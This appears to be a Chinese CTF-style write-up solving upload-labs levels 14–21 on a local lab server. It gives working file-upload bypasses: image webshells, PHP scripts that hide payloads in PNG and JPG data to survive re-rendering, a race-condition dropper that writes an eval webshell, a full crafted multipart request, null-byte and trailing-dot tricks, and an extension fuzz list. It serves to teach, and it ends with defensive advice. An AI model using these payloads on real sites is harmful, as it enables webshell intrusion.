文件上传漏洞Upload靶场【14-21】通关write up
2022-8-13 08:30:1 Author: 猫因的安全(查看原文) 阅读量:17 收藏

PHP study2018

PHP 7.0.12 -nts +apache

php.ini中修改为

; Windows: "\path1;\path2" include_path = "c:\php\includes"

文件头getReailFileType()检测函数绕过上传

有的文件上传,上传时候会检测头文件,不同的文件,头文件也不尽相同。

常见的文件上传图片头检测 ,它检测图片是两个字节的长度,如果不是图片的格式,会禁止上传。

读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件

常见的文件头
  • JPEG (jpg)                       文件头:FF D8

  • PNG  (png)                      文件头:89 50 4E 47 0D 0A 1A 0A

  • GIF    (gif)                       文件头:47 49 46 38 39|37 61 即为 GIF89a

  • TIFF   (tif)                        文件头:49 49 2A 00

  • Windows Bitmap (bmp)     文件头:42 4D

文件头检测上传代码分析

这个是存在文件头检测的上传,getReailFileType 是检测 jpg、png、gif 的文件头

function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

如果上传的文件符合数字即可通过检测

  • rb是读取二进制文件
  • 后面的fread函数只读两字节,也就是说只对文件头进行了检测
  • unpack(format,data)函数是规定在解包数据时所使用的格式,这里是文件头按照c格式解包
  • intval() 函数用于获取变量的整数值

文件头检测绕过上传攻击方法

1.制作图片一句话,使用 copy 1.gif/b+moon.php shell.php

制作图片马
将一句话木马1.php和普通图片1.jpg合并
得到shell.jpg

copy 11.jpg /b + 1.php /a shell.jpg

-b是指以二进制的方式合并复制文件,用于图像影音类文件
-a是指以ascii方式合并复制文件,用于文本类文件

C:\Users\19623\Desktop\新建文件夹>copy 11.jpg /b + 1.php /a shell.jpg
11.jpg
1.php
已复制 1 个文件。

将 php 文件附加再 jpg图片上,直接上传即可

jpg/jpeg图片webshell上传存在问题,正常的图片也上传不了,等待作者调整。

但直接访问图片并不能把图片当做PHP解析

还需要利用文件包含漏洞

这样也是可以的

image-20220812005343854

2.burpsuite 上传的数据包头加上 GIF89a也可容

执行漏洞

http://192.168.31.231/upload/include.php?file=upload/5120220812002338.gif

getimagesize()检查函数绕过上传

查看代码

没有说要检查文件前两个字节了

但是用了一个新的函数来检查是否为图片文件

我们先了解一下这个getimagesize()函数是干嘛的

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小

并返回图像的尺寸以及文件类型及图片高度与宽度

函数成功返回的就是一个数组

失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息

image-20220812004756174

从源码我们不难看出

服务器确实只是通过该函数索引2的值来判断文件是否为图片文件

索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

后面并未做更多的过滤操作,所以上一关的图片马依然是有效的

估计函数检查文件类型也就是通过文件的头部来判断的

让我们测试一下之前的图片马是否能够直接使用

看来该函数对于图片马来说并没有起到任何的过滤防护作用

所以通过跟前一关同样的文件包含漏洞可以直接getshell

如果头文件不是图片会报错直接可以用图片马绕过检测

再用文件包含漏洞引入 jpeg 图片即可 getshell

getimagesize函数的核心就是使用这个函数对文件头进行验证

比如GIF的文件头问GIF89a

png的文件头为塒NG

所以此处正常上传一个图片马将后缀改名为PHP就行

exif_imagetype()函数绕过

在upload-labs第十六关,服务器exit_imagetype()函数检测上传图片类型是否为白名单图片格式

来验证上传文件合法性

可以通过制作图片马绕过,再配合文件包含漏洞解析文件来获取服务器配置信息

先在本地写php脚本若上传成功,且知道上传后文件在网站保存的路径

可通过网页访问获得服务器配置信息,命名为z.php

但是在这里不能用php文件直接上传,需要制作图片马来绕过服务器检测文件二进制头信息

有两种方法,但都是一个意思,将写入图片里面

直接看源码

$_FILES['myFile']['name']文件上传时候本身的名字,用户定义的名字

$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认

将文件临时名字传入自定义函数isImage()中

返回结果作判断,如果返回false则上传失败

否则定义img_path变量为上传到的文件路径+随机数文件名

然后将零时文件上传到指定路径

文件名传入isImage函数,使用exif_imagetype函数检测文件类型

将返回的文件类型用swith语句进行比对

若复合gif,jpg,png格式则返回对应类型,否则返回false

exif_imagetype()函数:
读取一个图像的第一个字节并检查其签名
如果发现恰当的签名返回一个对应的常量,否则返回false
返回值和getimagesize()返回值的数组中的索引2的值是一样的,但本函数快的多。

常见值和常量:

其他感兴趣可以自查

当然只上传图片访问后是不能当作php执行的,这里要配合文件包含漏洞利用。

靶场也很贴心的直接给了一个包含漏洞页面。

用get方式接受file变量,include直接包含运行文件,所以1.jpg也能当php执行。

文件包含漏洞的环境要求:

allow_url_fopen=On(默认为On)规定是否允许从远程服务器或者网站检索数据

allow_url_include=On(php5.2之后默认为off)规定是否允许include/require远程文件

绕过图片二次渲染上传

有些图片上传,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些

但是符合网站的需求

例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大

访问的人数太多时候会占用,很大带宽

二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略

导致上传的图片马, 恶意代码被清除

图片二次渲染分析代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

第1行检测filetype是否为gif格式。

然后3行使用move_uploaded_file函数来做判断条件

如果成功将文件移动到$target_path

就会进入二次渲染的代码,反之上传失败

在这里有一个问题:如果作者是想考察绕过二次渲染的话

在move_uploaded_file(target_path)返回true的时候

就已经成功将图片马上传到服务器了

所以下面的二次渲染并不会影响到图片马的上传

如果是想考察文件后缀和content-type的话,那么二次渲染的代码就很多余

(到底考点在哪里?只有作者清楚。)

由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片。

我看过的writeup都是直接由move_uploaded_file函数上传的图片马

今天我们把 move_uploaded_file这个判断条件去除

然后:尝试上传图片马?

只允许上传 JPG PNG gif 在源码中使用 imagecreatefromgif 函数对图片进行二次生成

生成的图片保存在,upload 目录下

绕过图片二次渲染攻击

一、上传GIF

1、先制作一个图马,将phpinfo添加到 111.gif 图片的尾部

copy 11.gif /b + 1.php /a php.gif
image-20220812094446409

2、上传含有一句话的php.gif,但是这并没有成功

我们将上传的图片下载到本地。

image-20220812094940330

3、可以看到下载下来的文件名已经变化,所以这是经过二次渲染的图片

我们使用16进制编辑器将其打开

可以发现,我们在gif末端添加的php代码已经被去除

image-20220812095108796

4、关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置

然后将php代码写进去,就可以成功上传带有php代码的图片了。

image-20220812094504022

经过对比,蓝色部分是没有发生变化的。

image-20220812095631197

5、我们将php代码写到该位置,也就是蓝色的部份。

image-20220812094510984

6、现在上传就会成功了,不信可以上传后在下载到本地使用16进制编辑器打开。

image-20220812094517811

可以看到php代码没有被去除,成功上传图片马!

image-20220812095713182

二、上传PNG

png的二次渲染的绕过并不能像gif那样简单。

png文件组成

png图片由3个以上的数据块组成。

PNG定义了两种类型的数据块,一种是称为关键数据块(critical  chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary  chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。

数据块结构

名称字节数说明
Length(长度)4字节指定数据块中数据域的长度,其长度不超过(2的31次方-1)字节
Chunk Type Code(数据块类型码)4字节数据块类型码由ASCII字母(A-Z和a-z)组成
Chunk Data(数据块数据)可变长度存储按照Chunk Type Code指定的数据
CRC(循环冗余检测)4字节存储用来检测是否有错误的循环冗余码

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块

IHDR

数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下所示。

域的名称字节数说明
Width4 bytes图像宽度,以像素为单位
Height4 bytes图像高度,以像素为单位
Bit depth1 bytes图像尝试:  索引彩色图像:1,2,4或8  灰度图像:1,2,4,8或6  真彩图像:8或16
ColorType1 bytes颜色类型:  灰度图像:1,2,4,8或16  真彩色图像:8或16  索引彩色图像:1,2,4或8  带a通道数据的灰度图像:8或16  带a通道数据的真彩色图像:8或16
Compression method4 bytes压缩方法(LZ777派生算法)
Filter method4 bytes滤波器方法
Interlace method4 bytes隔行扫描方法:  非隔行扫描  Adam7(由Adam M.Costello开发的7遍隔行扫描方法)

PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82

写入php代码

在网上找到了两种方式来制作绕过二次渲染的png木马。

第一种方法:写入PLTE数据块

php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。

1、在PLTE数据块写入php代码;

2、计算PLTE数据块的CRC;

CRC脚本

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运行结果:

526579b0

3、修改CRC值;

4、验证;

将修改后的png图片上传后,下载到本地再打开

第二种方法:写入IDAT数据块

这里有国外大牛写的脚本,直接拿来运行即可。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后得到1.png,上传后再下载到本地打开

三、上传jpg

这里也采用国外大牛编写的脚本 jpg_payload.php

<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

1、随便找一个jpg图片,先上传至服务器然后再下载到本地保存为 1.jpg ;

2、插入php代码;使用脚本处理1.jpg,命令:

php jpg_payload.php 1.jpg

使用16进制编辑器打开,就可以看到插入的php代码;

3、上传图片马;将生成的 payload_1.jpg上传。

4、验证;将上传的图片再次下载到本地,使用16进制编辑器打开。

可以看到,php代码没有被去除,证明我们成功上传了含有php代码的jpg图片。

注意:有一些jpg图片不能被处理,所以要多尝试一些jpg图片。

首先判断图片是否允许上传gif,gif 图片在二次渲染后,与原图片差别不会太大

所以二次渲染攻击最好用 git 图片马

将原图片上传,下载渲染后的图片进行对比,找相同处,覆盖字符串,填写一句话后门,或者恶意指令。

原图片与渲染后的图片这个位置的字符串没有改变所在原图片这里替换成\<? php phpinfo();?\>直接上传即可

文件上传条件竞争漏洞绕过

竞争条件原理:

网站逻辑:

1、网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。

在删除之前访问上传的php文件,从而执行上传文件中的php代码

文件上传条件竞争源码分析

采用白名单上传,\$upload_file = UPLOAD_PATH . '/' . \$file_name;

设置上传路径, 后缀名没有限定为图片类型

接着 move_uploaded_file(\$temp_file, \$upload_file) 将图片移动指定的目录

接着使用 rename 重名为图片类型

在重名之前如果被浏览器访问,可以得到一个 webshell

image-20220812191837501
先进行上传,后进行判断与删除。利用时间差进行webshell上传。
image-20220812193323401

利用上面绿色区域中的时间去连接webshell

但是还有一个问题:

即使在短期之内连接上了webshell

但是很快文件又会被删除

这样连接webshell有什么意义呢?

文件上传条件竞争攻击方法

image-20220812193312037

首先上传一个“独特”的木马

但是这个木马不是一句话木马,但是能够产生一句话木马

使得产生 的一句话木马能够不被删除而能够连接webshell

这个“独特”的木马内容如下:

<?php fputs(fopen('sb.php','w'),'<?php @eval($_POST["sb"])?>');?>

然后访问这个文件所在的地址,使其产生一句话木马文件sb.php

而且幸运的话,在这个目录下会生成一个一句话木马文件

如果你能够生成,那么就可以连接这个一句话木马webshell了

这个绕过的思路就是“条件竞争”

如何在短期之内利用这个独特的木马呢?

有两种方法:

1.通过python脚本多线程并发的访问
2.利用burp不断的上传文件
import requests
url = "http://192.168.31.231/upload/upload/1.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break

在文件上传时, 如果逻辑不对,会造成很大危害

例如文件上传时, 用move_uploaded_file 把上传的临时文件移动到指定目录

接着再用 rename 文件设置为图片格式

如果在 rename 之前 move_uploaded_file 这个步骤 如果这个文件可被客户端访问

我们就可以利用时间差进行攻击

从源码来看的话,服务器先是将文件后缀跟白名单做了对比

然后检查了文件大小以及文件是否已经存在

文件上传之后又对其进行了重命名

这么看来的话,php是不能上传了

只能上传图片马了,而且需要在图片马没有被重命名之前访问它

要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等

这里还是将前一关的代码插入图片作出图片马

然后通过文件包含去访问该图片马。

同样的这也属于条件竞争的一种,只不过文件的形式不同而已

最后重命名的文件就是在根目录下

其实可以直接上传图片马,因为页面会回显改名后的图片马的位置,直接文件包含也能生成shell.php

第一步制作 图片马

copy 11.gif /b + 1.php /a php.gif

第二步:上传图片马,通过burp抓包无限重放

文件名可控绕过上传

文件上传时,文件名的可被客户端修改控制,会导致漏洞产生

本pass的取文件名通过$_POST来获取。

文件名控代码分析

image-20220812222802895

采用黑名单限制上传文件,但是 \$\_POST\['save_name'\]文件是可控的

pathinfo() 函数以数组的形式返回关于文件路径的信息

可被客户端任意修改,造成安全漏洞

move_uploaded_file()函数中的img_path是由post参数save_name控制的,可以在save_name利用%00截断

文件名可控攻击方法

文件名攻击的方法主要有两种

  • 上传文件, 文件采用%00 截断, 抓包解码例如 1.php%00.jpg截断后1.php 或者使用/.

  • 与中间贱的漏洞配合使用 例如 iis6.0 上传 1.php;1.jpg apache 上传 1.php.a 也能解析文件

  • 也可以使用大小写绕过后改名

  • a.asp;1.jpg 解析成 asp

%00 截断 需要 gpc 关闭 抓包 解码 提交即可 截断文件名 php 版本小于 5.3.4
  • 也可以使用 /. 递归删除文件名最后的/.导致绕过了后缀名检测
  • move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.

数组绕过验证上传

Pass-21来源于CTF,请审计代码!

有的文件上传,如果支持数组上传或者数组命名

如果逻辑写的有问题会造成安全隐患,导致不可预期的上传

这种上传攻击,它是属于攻击者白盒审计后发现的漏洞居多

数组绕过代码分析

代码分析

$allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";

该部分代码从MIME上进行了过滤
也就是数据包中的Content-Type字段
该部分可控,可以由我们自主修改(image/jpeg,image/png,image/gif)

$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
 if (!is_array($file)) 
 {
  $file = explode('.', strtolower($file));
 }

检查上传的文件在save_name那栏是否为空
(也就是可控部分的保存名称那里是否为空)
若为空,则以上传的文件名为准命名
不为空,则以save_name(也就是可填写的保存名称那里)为准进行命名
并把该名称传给$file参数
然后利用strtolower函数将$file小写,检查该参数是否为数组
若不是数组,则以'.'为准将其打成数组
(例如1.php就打成file[0]='1',file[1]='.',file[2]='php')

$ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
        $msg = "禁止上传该后缀文件!";

用$ext接收$file参数(数组)的最后一位
并检查该位是否是可上传的jpg,png,gif

 $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }

最后文件名为reset($file)+'.'+$file[count($file)-1]
这句话的意思就是以file这个数组的第一位和最后一位
(数组的计数是从array[0]开始)用.连接起来
(例如数组file[0]='1',file[1]='.',file[2]='php'经过这句话后就变成了1.php)
然后将最终的文件名上传到UPLOAD_PATH目录下
这里的count函数很重要
或者说这个count至关重要

整体的流程就是先接收文件名,进行MIME验证
然后将文件名以'.'为分界打散成数组,对数组的最后一位
也就是文件后缀进行验证,最后将通过验证的数组重新组装上传至目录

所以我们要做的有两个事:

1.改MIME:

将Content-Type字段修改

2.以数组形式传参对数组验证进行绕过:

构造
file[0]=1.php/
file[1]为空 .
file[2]=jpg
(能通过验证的jpg,png,gif其中任意一种)
move_uploaded_file 中/.
这样检测数组最后一位的时候通过验证
最后组装的数组的时候组装成了1.php/.
上传到目录后就变成了1.php
这里的问题关键就是为什么数组的最后一位jpg
为什么没有被拼接到最终的文件名中
原因在于这个拼接过程用的是count函数
如果数组有三位,但是有一位为空,最后count出来的数就为2,而非为3
按照这个想法,如果file[1]为空
最后就是这个空被拼接到了最后的文件名的最后面
所以上述构造成立

数组绕过攻击方法

上传1.php文件修改后缀为jpg

文件类型已经为image/jpeg

修改上传路径为一个数组

当获取文件后缀时为jpg

合成文件名为数组第一个,和最后一个

当我们修改jpg为数组的2时

1此时是空的数组一共有三位数

但是实际只有两位

所有获取到的值为空

此时上传后的文件为upload-20.php.

POST /upload/Pass-21/index.php?action=show_code HTTP/1.1
Host: 192.168.31.231
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------32779906504282096545471262914
Content-Length: 502
Origin: http://192.168.31.231
Connection: close
Referer: http://192.168.31.231/upload/Pass-21/index.php?action=show_code
Upgrade-Insecure-Requests: 1

-----------------------------32779906504282096545471262914
Content-Disposition: form-data; name="upload_file"; filename="1.jpg"
Content-Type: image/jpeg

<?php
phpinfo();
?>
-----------------------------32779906504282096545471262914
Content-Disposition: form-data; name="save_name[0]"

1.php/
-----------------------------32779906504282096545471262914
Content-Disposition: form-data; name="save_name[2]"

jpg
-----------------------------32779906504282096545471262914
Content-Disposition: form-data; name="submit"

上传
-----------------------------32779906504282096545471262914--

文件上传其他漏洞

nginx 0.83版本

/1.jpg%00php

apahce 1x 或者 2x

当 apache 遇见不认识的后缀名

会从后向前解析例如 1.php.rar 不认识 rar 就向前解析,直到知道它认识的后缀名

phpcgi 漏洞(nginx iis7 或者以上)

上传图片后 1.jpg 访问 1.jpg/1.php 也会解析成php

Apache HTTPD 换 行 解 析 漏 洞 (CVE-2017-15715)

apache 通过 mod_php 来运行脚本,其 2.4.0-2.4.29 中存在 apache 换行解析漏洞
在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略

文件上传漏洞通用检测方法

判断是否为黑白名单,如果是白名单 寻找可控参数

如果是黑名单禁止上传,可以用有危害的后缀名批量提交测试

寻找遗留的执行脚本

.php

.php5

.php4

.php3

.php2

.html

.htm

.phtml

.pht

.pHp

.phP

.pHp5

.pHp4

.pHp3

.pHp2

.Html

.Htm

.pHtml

.jsp

.jspa

.jspx

.jsw

.jsv

.jspf

.jtml

.jSp

.jSpx

.jSpa

.jSw

.jSv

.jSpf

.jHtml

.asp

.aspx

.asa

.asax

.ascx

.ashx

.asmx

.cer

.aSp

.aSpx

.aSa

.aSax

.aScx

.aShx

.aSmx

.cEr

.sWf

.swf

.htaccess

使用 burpsuite 抓包上传将后缀名设置成变量

把这些文件设置成一个字典批量提交

查看数据包大小 确定时候可上传即可

文件上传的防御方法

服务器端使用白名单防御,修复 web 中间件的漏洞,禁止客户端存在可控参数

存放文件目录禁止脚本执行

限制后缀名 一定要设置图片格式 jpg、gif 、png 文件名 随机的不可预测


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247495714&idx=1&sn=c78255049696526f966953ffaa1017bf&chksm=c30565a5f472ecb3f3fea269dcce707fd076b7eea2bf32958ebec2d1e74f94b5089c38dc5e96#rd
如有侵权请联系:admin#unsafe.sh